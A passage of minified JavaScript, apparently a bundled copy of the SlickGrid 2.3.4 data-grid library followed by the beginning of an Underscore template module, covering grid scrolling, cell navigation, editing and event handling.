startPostProcessingCleanup(){options.enableAsyncPostRenderCleanup&&(clearTimeout(h_postrenderCleanup),h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay))}function invalidatePostProcessingResults(e){for(var t in postProcessedRows[e])postProcessedRows[e].hasOwnProperty(t)&&(postProcessedRows[e][t]=\\\"C\\\");postProcessFromRow=Math.min(postProcessFromRow,e),postProcessToRow=Math.max(postProcessToRow,e),startPostProcessing()}function updateRowPositions(){for(var e in rowsCache)rowsCache[e].rowNode.style.top=getRowTop(e)+\\\"px\\\"}function render(){if(initialized){var e=getVisibleRange(),t=getRenderedRange();cleanupRows(t),lastRenderedScrollLeft!=scrollLeft&&cleanUpAndRenderCells(t),renderRows(t),postProcessFromRow=e.top,postProcessToRow=Math.min(getDataLengthIncludingAddNew()-1,e.bottom),startPostProcessing(),lastRenderedScrollTop=scrollTop,lastRenderedScrollLeft=scrollLeft,h_render=null}}function handleHeaderRowScroll(){var e=$headerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleFooterRowScroll(){var e=$footerRowScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handlePreHeaderPanelScroll(){var e=$preHeaderPanelScroller[0].scrollLeft;e!=$viewport[0].scrollLeft&&($viewport[0].scrollLeft=e)}function handleScroll(){scrollTop=$viewport[0].scrollTop,scrollLeft=$viewport[0].scrollLeft;var e=Math.abs(scrollTop-prevScrollTop),t=Math.abs(scrollLeft-prevScrollLeft);if(t&&(prevScrollLeft=scrollLeft,$headerScroller[0].scrollLeft=scrollLeft,$topPanelScroller[0].scrollLeft=scrollLeft,$headerRowScroller[0].scrollLeft=scrollLeft,options.createFooterRow&&($footerRowScroller[0].scrollLeft=scrollLeft),options.createPreHeaderPanel&&($preHeaderPanelScroller[0].scrollLeft=scrollLeft)),e)if(vScrollDir=prevScrollTop<scrollTop?1:-1,prevScrollTop=scrollTop,e<viewportH)scrollTo(scrollTop+offset);else{var o=offset;page=h==viewportH?0:Math.min(n-1,Math.floor(scrollTop*((th-viewportH)/(h-viewportH))*(1/ph))),offset=Math.round(page*cj),o!=offset&&invalidateAllRows()}(t||e)&&(h_render&&clearTimeout(h_render),(20<Math.abs(lastRenderedScrollTop-scrollTop)||20<Math.abs(lastRenderedScrollLeft-scrollLeft))&&(options.forceSyncScrolling||Math.abs(lastRenderedScrollTop-scrollTop)<viewportH&&Math.abs(lastRenderedScrollLeft-scrollLeft)<viewportW?render():h_render=setTimeout(render,50),trigger(self.onViewportChanged,{grid:self}))),trigger(self.onScroll,{scrollLeft:scrollLeft,scrollTop:scrollTop,grid:self})}function asyncPostProcessRows(){for(var e=getDataLength();postProcessFromRow<=postProcessToRow;){var t=0<=vScrollDir?postProcessFromRow++:postProcessToRow--,n=rowsCache[t];if(n&&!(e<=t)){for(var o in postProcessedRows[t]||(postProcessedRows[t]={}),ensureCellNodesInRowsCache(t),n.cellNodesByColumnIdx)if(n.cellNodesByColumnIdx.hasOwnProperty(o)){var r=columns[o|=0],i=postProcessedRows[t][o];if(r.asyncPostRender&&\\\"R\\\"!==i){var l=n.cellNodesByColumnIdx[o];l&&r.asyncPostRender(l,t,getDataItem(t),r,\\\"C\\\"===i),postProcessedRows[t][o]=\\\"R\\\"}}return void(h_postrender=setTimeout(asyncPostProcessRows,options.asyncPostRenderDelay))}}}function asyncPostProcessCleanupRows(){if(0<postProcessedCleanupQueue.length){for(var e=postProcessedCleanupQueue[0].groupId;0<postProcessedCleanupQueue.length&&postProcessedCleanupQueue[0].groupId==e;){var t=postProcessedCleanupQueue.shift();if(\\\"R\\\"==t.actionType&&$(t.node).remove(),\\\"C\\\"==t.actionType){var n=columns[t.columnIdx];n.asyncPostRenderCleanup&&t.node&&n.asyncPostRenderCleanup(t.node,t.rowIdx,n)}}h_postrenderCleanup=setTimeout(asyncPostProcessCleanupRows,options.asyncPostRenderCleanupDelay)}}function updateCellCssStylesOnRenderedRows(e,t){var n,o,r,i;for(var l in rowsCache){if(i=t&&t[l],r=e&&e[l],i)for(o in i)r&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).removeClass(i[o]);if(r)for(o in r)i&&i[o]==r[o]||(n=getCellNode(l,getColumnIndex(o)))&&$(n).addClass(r[o])}}function addCellCssStyles(e,t){if(cellCssClasses[e])throw new Error(\\\"addCellCssStyles: cell CSS hash with key '\\\"+e+\\\"' already exists.\\\");updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,null),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function removeCellCssStyles(e){cellCssClasses[e]&&(updateCellCssStylesOnRenderedRows(null,cellCssClasses[e]),delete cellCssClasses[e],trigger(self.onCellCssStylesChanged,{key:e,hash:null,grid:self}))}function setCellCssStyles(e,t){var n=cellCssClasses[e];updateCellCssStylesOnRenderedRows(cellCssClasses[e]=t,n),trigger(self.onCellCssStylesChanged,{key:e,hash:t,grid:self})}function getCellCssStyles(e){return cellCssClasses[e]}function flashCell(e,t,n){if(n=n||100,rowsCache[e]){var o=$(getCellNode(e,t)),r=function(e){e&&setTimeout(function(){o.queue(function(){o.toggleClass(options.cellFlashingCssClass).dequeue(),r(e-1)})},n)};r(4)}}function handleMouseWheel(e){var t=$(e.target).closest(\\\".slick-row\\\")[0];t!=rowNodeFromLastMouseWheelEvent&&(zombieRowNodeFromLastMouseWheelEvent&&zombieRowNodeFromLastMouseWheelEvent!=t&&(options.enableAsyncPostRenderCleanup&&zombieRowPostProcessedFromLastMouseWheelEvent?queuePostProcessedRowForCleanup(zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent):$canvas[0].removeChild(zombieRowNodeFromLastMouseWheelEvent),zombieRowPostProcessedFromLastMouseWheelEvent=zombieRowCacheFromLastMouseWheelEvent=zombieRowNodeFromLastMouseWheelEvent=null,options.enableAsyncPostRenderCleanup&&startPostProcessingCleanup()),rowNodeFromLastMouseWheelEvent=t)}function handleDragInit(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragInit,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDragStart(e,t){var n=getCellFromEvent(e);if(!n||!cellExists(n.row,n.cell))return!1;var o=trigger(self.onDragStart,t,e);return!!e.isImmediatePropagationStopped()&&o}function handleDrag(e,t){return trigger(self.onDrag,t,e)}function handleDragEnd(e,t){trigger(self.onDragEnd,t,e)}function handleKeyDown(e){trigger(self.onKeyDown,{row:activeRow,cell:activeCell,grid:self},e);var t=e.isImmediatePropagationStopped(),n=Slick.keyCode;if(!t)if(e.shiftKey||e.altKey||e.ctrlKey)e.which!=n.TAB||!e.shiftKey||e.ctrlKey||e.altKey||(t=navigatePrev());else{if(options.editable&&currentEditor&&currentEditor.keyCaptureList&&-1<currentEditor.keyCaptureList.indexOf(e.which))return;if(e.which==n.ESCAPE){if(!getEditorLock().isActive())return;cancelEditAndSetFocus()}else e.which==n.PAGE_DOWN?(navigatePageDown(),t=!0):e.which==n.PAGE_UP?(navigatePageUp(),t=!0):e.which==n.LEFT?t=navigateLeft():e.which==n.RIGHT?t=navigateRight():e.which==n.UP?t=navigateUp():e.which==n.DOWN?t=navigateDown():e.which==n.TAB?t=navigateNext():e.which==n.ENTER&&(options.editable&&(currentEditor?activeRow===getDataLength()?navigateDown():commitEditAndSetFocus():getEditorLock().commitCurrentEdit()&&makeActiveCellEditable()),t=!0)}if(t){e.stopPropagation(),e.preventDefault();try{e.originalEvent.keyCode=0}catch(e){}}}function handleClick(e){currentEditor||(e.target!=document.activeElement||$(e.target).hasClass(\\\"slick-cell\\\"))&&setFocus();var t=getCellFromEvent(e);if(t&&(null===currentEditor||activeRow!=t.row||activeCell!=t.cell)&&(trigger(self.onClick,{row:t.row,cell:t.cell,grid:self},e),!e.isImmediatePropagationStopped()&&canCellBeActive(t.row,t.cell)&&(!getEditorLock().isActive()||getEditorLock().commitCurrentEdit()))){scrollRowIntoView(t.row,!1);var n=e.target&&e.target.className===Slick.preClickClassName;setActiveCellInternal(getCellNode(t.row,t.cell),null,n)}}function handleContextMenu(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);0!==t.length&&(activeCellNode===t[0]&&null!==currentEditor||trigger(self.onContextMenu,{grid:self},e))}function handleDblClick(e){var t=getCellFromEvent(e);!t||null!==currentEditor&&activeRow==t.row&&activeCell==t.cell||(trigger(self.onDblClick,{row:t.row,cell:t.cell,grid:self},e),e.isImmediatePropagationStopped()||options.editable&&gotoCell(t.row,t.cell,!0))}function handleHeaderMouseEnter(e){trigger(self.onHeaderMouseEnter,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderMouseLeave(e){trigger(self.onHeaderMouseLeave,{column:$(this).data(\\\"column\\\"),grid:self},e)}function handleHeaderContextMenu(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");trigger(self.onHeaderContextMenu,{column:n,grid:self},e)}function handleHeaderClick(e){var t=$(e.target).closest(\\\".slick-header-column\\\",\\\".slick-header-columns\\\"),n=t&&t.data(\\\"column\\\");n&&trigger(self.onHeaderClick,{column:n,grid:self},e)}function handleMouseEnter(e){trigger(self.onMouseEnter,{grid:self},e)}function handleMouseLeave(e){trigger(self.onMouseLeave,{grid:self},e)}function cellExists(e,t){return!(e<0||e>=getDataLength()||t<0||t>=columns.length)}function getCellFromPoint(e,t){for(var n=getRowFromPosition(t),o=0,r=0,i=0;i<columns.length&&r<e;i++)r+=columns[i].width,o++;return o<0&&(o=0),{row:n,cell:o-1}}function getCellFromNode(e){var t=/l\\\\d+/.exec(e.className);if(!t)throw new Error(\\\"getCellFromNode: cannot get cell - \\\"+e.className);return parseInt(t[0].substr(1,t[0].length-1),10)}function getRowFromNode(e){for(var t in rowsCache)if(rowsCache[t].rowNode===e)return 0|t;return null}function getCellFromEvent(e){var t=$(e.target).closest(\\\".slick-cell\\\",$canvas);if(!t.length)return null;var n=getRowFromNode(t[0].parentNode),o=getCellFromNode(t[0]);return null==n||null==o?null:{row:n,cell:o}}function getCellNodeBox(e,t){if(!cellExists(e,t))return null;for(var n=getRowTop(e),o=n+options.rowHeight-1,r=0,i=0;i<t;i++)r+=columns[i].width;var l=r+columns[t].width;return{top:n,left:r,bottom:o,right:l}}function resetActiveCell(){setActiveCellInternal(null,!1)}function setFocus(){-1==tabbingDirection?$focusSink[0].focus():$focusSink2[0].focus()}function scrollCellIntoView(e,t,n){scrollRowIntoView(e,n);var o=getColspan(e,t);internalScrollColumnIntoView(columnPosLeft[t],columnPosRight[t+(1<o?o-1:0)])}function internalScrollColumnIntoView(e,t){var n=scrollLeft+viewportW;e<scrollLeft?($viewport.scrollLeft(e),handleScroll(),render()):n<t&&($viewport.scrollLeft(Math.min(e,t-$viewport[0].clientWidth)),handleScroll(),render())}function scrollColumnIntoView(e){internalScrollColumnIntoView(columnPosLeft[e],columnPosRight[e])}function setActiveCellInternal(e,t,n,o){null!==activeCellNode&&(makeActiveCellNormal(),$(activeCellNode).removeClass(\\\"active\\\"),rowsCache[activeRow]&&$(rowsCache[activeRow].rowNode).removeClass(\\\"active\\\"));null!=(activeCellNode=e)?(activeRow=getRowFromNode(activeCellNode.parentNode),activeCell=activePosX=getCellFromNode(activeCellNode),null==t&&(t=activeRow==getDataLength()||options.autoEdit),options.showCellSelection&&($(activeCellNode).addClass(\\\"active\\\"),$(rowsCache[activeRow].rowNode).addClass(\\\"active\\\")),options.editable&&t&&isCellPotentiallyEditable(activeRow,activeCell)&&(clearTimeout(h_editorLoader),options.asyncEditorLoading?h_editorLoader=setTimeout(function(){makeActiveCellEditable(void 0,n)},options.asyncEditorLoadDelay):makeActiveCellEditable(void 0,n))):activeRow=activeCell=null,o||trigger(self.onActiveCellChanged,getActiveCell())}function clearTextSelection(){if(document.selection&&document.selection.empty)try{document.selection.empty()}catch(e){}else if(window.getSelection){var e=window.getSelection();e&&e.removeAllRanges&&e.removeAllRanges()}}function isCellPotentiallyEditable(e,t){var n=getDataLength();return!(e<n&&!getDataItem(e))&&(!(columns[t].cannotTriggerInsert&&n<=e)&&!!getEditor(e,t))}function makeActiveCellNormal(){if(currentEditor){if(trigger(self.onBeforeCellEditorDestroy,{editor:currentEditor,grid:self}),currentEditor.destroy(),currentEditor=null,activeCellNode){var e=getDataItem(activeRow);if($(activeCellNode).removeClass(\\\"editable invalid\\\"),e){var t=columns[activeCell],n=getFormatter(activeRow,t),o=n(activeRow,activeCell,getDataItemValueForColumn(e,t),t,e,self);applyFormatResultToCellNode(o,activeCellNode),invalidatePostProcessingResults(activeRow)}}navigator.userAgent.toLowerCase().match(/msie/)&&clearTextSelection(),getEditorLock().deactivate(editController)}}function makeActiveCellEditable(e,t){if(activeCellNode){if(!options.editable)throw new Error(\\\"Grid : makeActiveCellEditable : should never get called when options.editable is false\\\");if(clearTimeout(h_editorLoader),isCellPotentiallyEditable(activeRow,activeCell)){var n=columns[activeCell],o=getDataItem(activeRow);if(!1!==trigger(self.onBeforeEditCell,{row:activeRow,cell:activeCell,item:o,column:n,grid:self})){getEditorLock().activate(editController),$(activeCellNode).addClass(\\\"editable\\\");var r=e||getEditor(activeRow,activeCell);e||r.suppressClearOnEdit||(activeCellNode.innerHTML=\\\"\\\"),currentEditor=new r({grid:self,gridPosition:absBox($container[0]),position:absBox(activeCellNode),container:activeCellNode,column:n,item:o||{},commitChanges:commitEditAndSetFocus,cancelChanges:cancelEditAndSetFocus}),o&&(currentEditor.loadValue(o),t&&currentEditor.preClick&&currentEditor.preClick()),serializedEditorValue=currentEditor.serializeValue(),currentEditor.position&&handleActiveCellPositionChange()}else setFocus()}}}function commitEditAndSetFocus(){getEditorLock().commitCurrentEdit()&&(setFocus(),options.autoEdit&&navigateDown())}function cancelEditAndSetFocus(){getEditorLock().cancelCurrentEdit()&&setFocus()}function absBox(e){var t={top:e.offsetTop,left:e.offsetLeft,bottom:0,right:0,width:$(e).outerWidth(),height:$(e).outerHeight(),visible:!0};t.bottom=t.top+t.height,t.right=t.left+t.width;for(var n=e.offsetParent;(e=e.parentNode)!=document.body&&null!=e;)t.visible&&e.scrollHeight!=e.offsetHeight&&\\\"visible\\\"!=$(e).css(\\\"overflowY\\\")&&(t.visible=t.bottom>e.scrollTop&&t.top<e.scrollTop+e.clientHeight),t.visible&&e.scrollWidth!=e.offsetWidth&&\\\"visible\\\"!=$(e).css(\\\"overflowX\\\")&&(t.visible=t.right>e.scrollLeft&&t.left<e.scrollLeft+e.clientWidth),t.left-=e.scrollLeft,t.top-=e.scrollTop,e===n&&(t.left+=e.offsetLeft,t.top+=e.offsetTop,n=e.offsetParent),t.bottom=t.top+t.height,t.right=t.left+t.width;return t}function getActiveCellPosition(){return absBox(activeCellNode)}function getGridPosition(){return absBox($container[0])}function handleActiveCellPositionChange(){if(activeCellNode&&(trigger(self.onActiveCellPositionChanged,{grid:self}),currentEditor)){var e=getActiveCellPosition();currentEditor.show&&currentEditor.hide&&(e.visible?currentEditor.show():currentEditor.hide()),currentEditor.position&&currentEditor.position(e)}}function getCellEditor(){return currentEditor}function getActiveCell(){return activeCellNode?{row:activeRow,cell:activeCell,grid:self}:null}function getActiveCellNode(){return activeCellNode}function scrollRowIntoView(e,t){var n=e*options.rowHeight,o=(e+1)*options.rowHeight-viewportH+(viewportHasHScroll?scrollbarDimensions.height:0);(e+1)*options.rowHeight>scrollTop+viewportH+offset?(scrollTo(t?n:o),render()):e*options.rowHeight<scrollTop+offset&&(scrollTo(t?o:n),render())}function scrollRowToTop(e){scrollTo(e*options.rowHeight),render()}function scrollPage(e){var t=e*numVisibleRows;if(scrollTo((getRowFromPosition(scrollTop)+t)*options.rowHeight),render(),options.enableCellNavigation&&null!=activeRow){var n=activeRow+t,o=getDataLengthIncludingAddNew();o<=n&&(n=o-1),n<0&&(n=0);for(var r=0,i=null,l=activePosX;r<=activePosX;)canCellBeActive(n,r)&&(i=r),r+=getColspan(n,r);null!==i?(setActiveCellInternal(getCellNode(n,i)),activePosX=l):resetActiveCell()}}function navigatePageDown(){scrollPage(1)}function navigatePageUp(){scrollPage(-1)}function getColspan(e,t){var n=data.getItemMetadata&&data.getItemMetadata(e);if(!n||!n.columns)return 1;var o=n.columns[columns[t].id]||n.columns[t],r=o&&o.colspan;return r=\\\"*\\\"===r?columns.length-t:r||1}function findFirstFocusableCell(e){for(var t=0;t<columns.length;){if(canCellBeActive(e,t))return t;t+=getColspan(e,t)}return null}function findLastFocusableCell(e){for(var t=0,n=null;t<columns.length;)canCellBeActive(e,t)&&(n=t),t+=getColspan(e,t);return n}function gotoRight(e,t,n){if(t>=columns.length)return null;for(;(t+=getColspan(e,t))<columns.length&&!canCellBeActive(e,t););return t<columns.length?{row:e,cell:t,posX:t}:null}function gotoLeft(e,t,n){if(t<=0)return null;var o=findFirstFocusableCell(e);if(null===o||t<=o)return null;for(var r,i={row:e,cell:o,posX:o};;){if(!(r=gotoRight(i.row,i.cell,i.posX)))return null;if(r.cell>=t)return i;i=r}}function gotoDown(e,t,n){for(var o,r=getDataLengthIncludingAddNew();;){if(++e>=r)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoUp(e,t,n){for(var o;;){if(--e<0)return null;for(o=t=0;t<=n;)t+=getColspan(e,o=t);if(canCellBeActive(e,o))return{row:e,cell:o,posX:n}}}function gotoNext(e,t,n){if(null==e&&null==t&&canCellBeActive(e=t=n=0,t))return{row:e,cell:t,posX:t};var o=gotoRight(e,t,n);if(o)return o;var r=null,i=getDataLengthIncludingAddNew();for(e===i-1&&e--;++e<i;)if(null!==(r=findFirstFocusableCell(e)))return{row:e,cell:r,posX:r};return null}function gotoPrev(e,t,n){if(null==e&&null==t&&(e=getDataLengthIncludingAddNew()-1,t=n=columns.length-1,canCellBeActive(e,t)))return{row:e,cell:t,posX:t};for(var o,r;!o&&!(o=gotoLeft(e,t,n));){if(--e<0)return null;t=0,null!==(r=findLastFocusableCell(e))&&(o={row:e,cell:r,posX:r})}return o}function navigateRight(){return navigate(\\\"right\\\")}function navigateLeft(){return navigate(\\\"left\\\")}function navigateDown(){return navigate(\\\"down\\\")}function navigateUp(){return navigate(\\\"up\\\")}function navigateNext(){return navigate(\\\"next\\\")}function navigatePrev(){return navigate(\\\"prev\\\")}function navigate(e){if(!options.enableCellNavigation)return!1;if(!activeCellNode&&\\\"prev\\\"!=e&&\\\"next\\\"!=e)return!1;if(!getEditorLock().commitCurrentEdit())return!0;setFocus();tabbingDirection={up:-1,down:1,left:-1,right:1,prev:-1,next:1}[e];var t={up:gotoUp,down:gotoDown,left:gotoLeft,right:gotoRight,prev:gotoPrev,next:gotoNext},n=t[e],o=n(activeRow,activeCell,activePosX);if(o){var r=o.row==getDataLength();return scrollCellIntoView(o.row,o.cell,!r),setActiveCellInternal(getCellNode(o.row,o.cell)),activePosX=o.posX,!0}return setActiveCellInternal(getCellNode(activeRow,activeCell)),!1}function getCellNode(e,t){return rowsCache[e]?(ensureCellNodesInRowsCache(e),rowsCache[e].cellNodesByColumnIdx[t]):null}function setActiveCell(e,t,n,o,r){initialized&&(e>getDataLength()||e<0||t>=columns.length||t<0||options.enableCellNavigation&&(scrollCellIntoView(e,t,!1),setActiveCellInternal(getCellNode(e,t),n,o,r)))}function canCellBeActive(e,t){if(!options.enableCellNavigation||e>=getDataLengthIncludingAddNew()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.focusable)return n.focusable;var o=n&&n.columns;return o&&o[columns[t].id]&&\\\"boolean\\\"==typeof o[columns[t].id].focusable?o[columns[t].id].focusable:o&&o[t]&&\\\"boolean\\\"==typeof o[t].focusable?o[t].focusable:columns[t].focusable}function canCellBeSelected(e,t){if(e>=getDataLength()||e<0||t>=columns.length||t<0)return!1;var n=data.getItemMetadata&&data.getItemMetadata(e);if(n&&\\\"boolean\\\"==typeof n.selectable)return n.selectable;var o=n&&n.columns&&(n.columns[columns[t].id]||n.columns[t]);return o&&\\\"boolean\\\"==typeof o.selectable?o.selectable:columns[t].selectable}function gotoCell(e,t,n){if(initialized&&canCellBeActive(e,t)&&getEditorLock().commitCurrentEdit()){scrollCellIntoView(e,t,!1);var o=getCellNode(e,t);setActiveCellInternal(o,n||e===getDataLength()||options.autoEdit),currentEditor||setFocus()}}function commitCurrentEdit(){var e=getDataItem(activeRow),t=columns[activeCell];if(currentEditor){if(currentEditor.isValueChanged()){var n=currentEditor.validate();if(n.valid){if(activeRow<getDataLength()){var o={row:activeRow,cell:activeCell,editor:currentEditor,serializedValue:currentEditor.serializeValue(),prevSerializedValue:serializedEditorValue,execute:function(){this.editor.applyValue(e,this.serializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})},undo:function(){this.editor.applyValue(e,this.prevSerializedValue),updateRow(this.row),trigger(self.onCellChange,{row:activeRow,cell:activeCell,item:e,grid:self})}};options.editCommandHandler?(makeActiveCellNormal(),options.editCommandHandler(e,t,o)):(o.execute(),makeActiveCellNormal())}else{var r={};currentEditor.applyValue(r,currentEditor.serializeValue()),makeActiveCellNormal(),trigger(self.onAddNewRow,{item:r,column:t,grid:self})}return!getEditorLock().isActive()}return $(activeCellNode).removeClass(\\\"invalid\\\"),$(activeCellNode).width(),$(activeCellNode).addClass(\\\"invalid\\\"),trigger(self.onValidationError,{editor:currentEditor,cellNode:activeCellNode,validationResults:n,row:activeRow,cell:activeCell,column:t,grid:self}),currentEditor.focus(),!1}makeActiveCellNormal()}return!0}function cancelCurrentEdit(){return makeActiveCellNormal(),!0}function rowsToRanges(e){for(var t=[],n=columns.length-1,o=0;o<e.length;o++)t.push(new Slick.Range(e[o],0,e[o],n));return t}function getSelectedRows(){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");return selectedRows}function setSelectedRows(e){if(!selectionModel)throw new Error(\\\"Selection model is not set\\\");selectionModel.setSelectedRanges(rowsToRanges(e))}this.debug=function(){var e=\\\"\\\";e+=\\\"\\\\ncounter_rows_rendered:  \\\"+counter_rows_rendered,e+=\\\"\\\\ncounter_rows_removed:  \\\"+counter_rows_removed,e+=\\\"\\\\nrenderedRows:  \\\"+renderedRows,e+=\\\"\\\\nnumVisibleRows:  \\\"+numVisibleRows,e+=\\\"\\\\nmaxSupportedCssHeight:  \\\"+maxSupportedCssHeight,e+=\\\"\\\\nn(umber of pages):  \\\"+n,e+=\\\"\\\\n(current) page:  \\\"+page,e+=\\\"\\\\npage height (ph):  \\\"+ph,e+=\\\"\\\\nvScrollDir:  \\\"+vScrollDir,alert(e)},this.eval=function(expr){return eval(expr)},$.extend(this,{slickGridVersion:\\\"2.3.4\\\",onScroll:new Slick.Event,onSort:new Slick.Event,onHeaderMouseEnter:new Slick.Event,onHeaderMouseLeave:new Slick.Event,onHeaderContextMenu:new Slick.Event,onHeaderClick:new Slick.Event,onHeaderCellRendered:new Slick.Event,onBeforeHeaderCellDestroy:new Slick.Event,onHeaderRowCellRendered:new Slick.Event,onFooterRowCellRendered:new Slick.Event,onBeforeHeaderRowCellDestroy:new Slick.Event,onBeforeFooterRowCellDestroy:new Slick.Event,onMouseEnter:new Slick.Event,onMouseLeave:new Slick.Event,onClick:new Slick.Event,onDblClick:new Slick.Event,onContextMenu:new Slick.Event,onKeyDown:new Slick.Event,onAddNewRow:new Slick.Event,onBeforeAppendCell:new Slick.Event,onValidationError:new Slick.Event,onViewportChanged:new Slick.Event,onColumnsReordered:new Slick.Event,onColumnsResized:new Slick.Event,onCellChange:new Slick.Event,onBeforeEditCell:new Slick.Event,onBeforeCellEditorDestroy:new Slick.Event,onBeforeDestroy:new Slick.Event,onActiveCellChanged:new Slick.Event,onActiveCellPositionChanged:new Slick.Event,onDragInit:new Slick.Event,onDragStart:new Slick.Event,onDrag:new Slick.Event,onDragEnd:new Slick.Event,onSelectedRowsChanged:new Slick.Event,onCellCssStylesChanged:new Slick.Event,registerPlugin:registerPlugin,unregisterPlugin:unregisterPlugin,getColumns:getColumns,setColumns:setColumns,getColumnIndex:getColumnIndex,updateColumnHeader:updateColumnHeader,setSortColumn:setSortColumn,setSortColumns:setSortColumns,getSortColumns:getSortColumns,autosizeColumns:autosizeColumns,getOptions:getOptions,setOptions:setOptions,getData:getData,getDataLength:getDataLength,getDataItem:getDataItem,setData:setData,getSelectionModel:getSelectionModel,setSelectionModel:setSelectionModel,getSelectedRows:getSelectedRows,setSelectedRows:setSelectedRows,getContainerNode:getContainerNode,updatePagingStatusFromView:updatePagingStatusFromView,render:render,invalidate:invalidate,invalidateRow:invalidateRow,invalidateRows:invalidateRows,invalidateAllRows:invalidateAllRows,updateCell:updateCell,updateRow:updateRow,getViewport:getVisibleRange,getRenderedRange:getRenderedRange,resizeCanvas:resizeCanvas,updateRowCount:updateRowCount,scrollRowIntoView:scrollRowIntoView,scrollRowToTop:scrollRowToTop,scrollCellIntoView:scrollCellIntoView,scrollColumnIntoView:scrollColumnIntoView,getCanvasNode:getCanvasNode,getUID:getUID,getHeaderColumnWidthDiff:getHeaderColumnWidthDiff,getScrollbarDimensions:getScrollbarDimensions,getHeadersWidth:getHeadersWidth,getCanvasWidth:getCanvasWidth,focus:setFocus,getCellFromPoint:getCellFromPoint,getCellFromEvent:getCellFromEvent,getActiveCell:getActiveCell,setActiveCell:setActiveCell,getActiveCellNode:getActiveCellNode,getActiveCellPosition:getActiveCellPosition,resetActiveCell:resetActiveCell,editActiveCell:makeActiveCellEditable,getCellEditor:getCellEditor,getCellNode:getCellNode,getCellNodeBox:getCellNodeBox,canCellBeSelected:canCellBeSelected,canCellBeActive:canCellBeActive,navigatePrev:navigatePrev,navigateNext:navigateNext,navigateUp:navigateUp,navigateDown:navigateDown,navigateLeft:navigateLeft,navigateRight:navigateRight,navigatePageUp:navigatePageUp,navigatePageDown:navigatePageDown,gotoCell:gotoCell,getTopPanel:getTopPanel,setTopPanelVisibility:setTopPanelVisibility,getPreHeaderPanel:getPreHeaderPanel,setPreHeaderPanelVisibility:setPreHeaderPanelVisibility,setHeaderRowVisibility:setHeaderRowVisibility,getHeaderRow:getHeaderRow,getHeaderRowColumn:getHeaderRowColumn,setFooterRowVisibility:setFooterRowVisibility,getFooterRow:getFooterRow,getFooterRowColumn:getFooterRowColumn,getGridPosition:getGridPosition,flashCell:flashCell,addCellCssStyles:addCellCssStyles,setCellCssStyles:setCellCssStyles,removeCellCssStyles:removeCellCssStyles,getCellCssStyles:getCellCssStyles,init:finishInitialization,destroy:destroy,getEditorLock:getEditorLock,getEditController:getEditController}),init()}module.exports={Grid:SlickGrid}},448:function(e,t,n){t.exports=\\\"undefined\\\"!=typeof $?$:e(441)},449:function(e,t,n){var o=e(450),r=o.template;function i(e,t,n){return r(e,t,n)}i._=o,t.exports=i,\\\"function\\\"==typeof define&&define.amd?define(function(){return i}):\\\"undefined\\\"==typeof window&&\\\"undefined\\\"==typeof navigator||(window.UnderscoreTemplate=i)},450:function(e,t,n){\\n\",\n       \"      //     (c) 2009-2013 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors\\n\",\n       \"      //     Underscore may be freely distributed under the MIT license.\\n\",\n       \"      var l={},o=Array.prototype,r=Object.prototype,i=o.slice,s=r.toString,a=r.hasOwnProperty,c=o.forEach,u=Object.keys,d=Array.isArray,p=function(){},f=p.each=p.forEach=function(e,t,n){if(null!=e)if(c&&e.forEach===c)e.forEach(t,n);else if(e.length===+e.length){for(var o=0,r=e.length;o<r;o++)if(t.call(n,e[o],o,e)===l)return}else for(var i=p.keys(e),o=0,r=i.length;o<r;o++)if(t.call(n,e[i[o]],i[o],e)===l)return};p.keys=u||function(e){if(e!==Object(e))throw new TypeError(\\\"Invalid object\\\");var t=[];for(var n in e)p.has(e,n)&&t.push(n);return t},p.defaults=function(n){return f(i.call(arguments,1),function(e){if(e)for(var t in e)void 0===n[t]&&(n[t]=e[t])}),n},p.isArray=d||function(e){return\\\"[object Array]\\\"===s.call(e)},p.has=function(e,t){if(!p.isArray(t))return null!=e&&a.call(e,t);for(var n=t.length,o=0;o<n;o++){var r=t[o];if(null==e||!a.call(e,r))return!1;e=e[r]}return!!n};var h={escape:{\\\"&\\\":\\\"&amp;\\\",\\\"<\\\":\\\"&lt;\\\",\\\">\\\":\\\"&gt;\\\",'\\\"':\\\"&quot;\\\",\\\"'\\\":\\\"&#x27;\\\"}},g={escape:new RegExp(\\\"[\\\"+p.keys(h.escape).join(\\\"\\\")+\\\"]\\\",\\\"g\\\")};p.each([\\\"escape\\\"],function(t){p[t]=function(e){return null==e?\\\"\\\":(\\\"\\\"+e).replace(g[t],function(e){return h[t][e]})}}),p.templateSettings={evaluate:/<%([\\\\s\\\\S]+?)%>/g,interpolate:/<%=([\\\\s\\\\S]+?)%>/g,escape:/<%-([\\\\s\\\\S]+?)%>/g};var m=/(.)^/,v={\\\"'\\\":\\\"'\\\",\\\"\\\\\\\\\\\":\\\"\\\\\\\\\\\",\\\"\\\\r\\\":\\\"r\\\",\\\"\\\\n\\\":\\\"n\\\",\\\"\\\\t\\\":\\\"t\\\",\\\"\\\\u2028\\\":\\\"u2028\\\",\\\"\\\\u2029\\\":\\\"u2029\\\"},w=/\\\\\\\\|'|\\\\r|\\\\n|\\\\t|\\\\u2028|\\\\u2029/g;p.template=function(i,e,t){var n;t=p.defaults({},t,p.templateSettings);var o=new 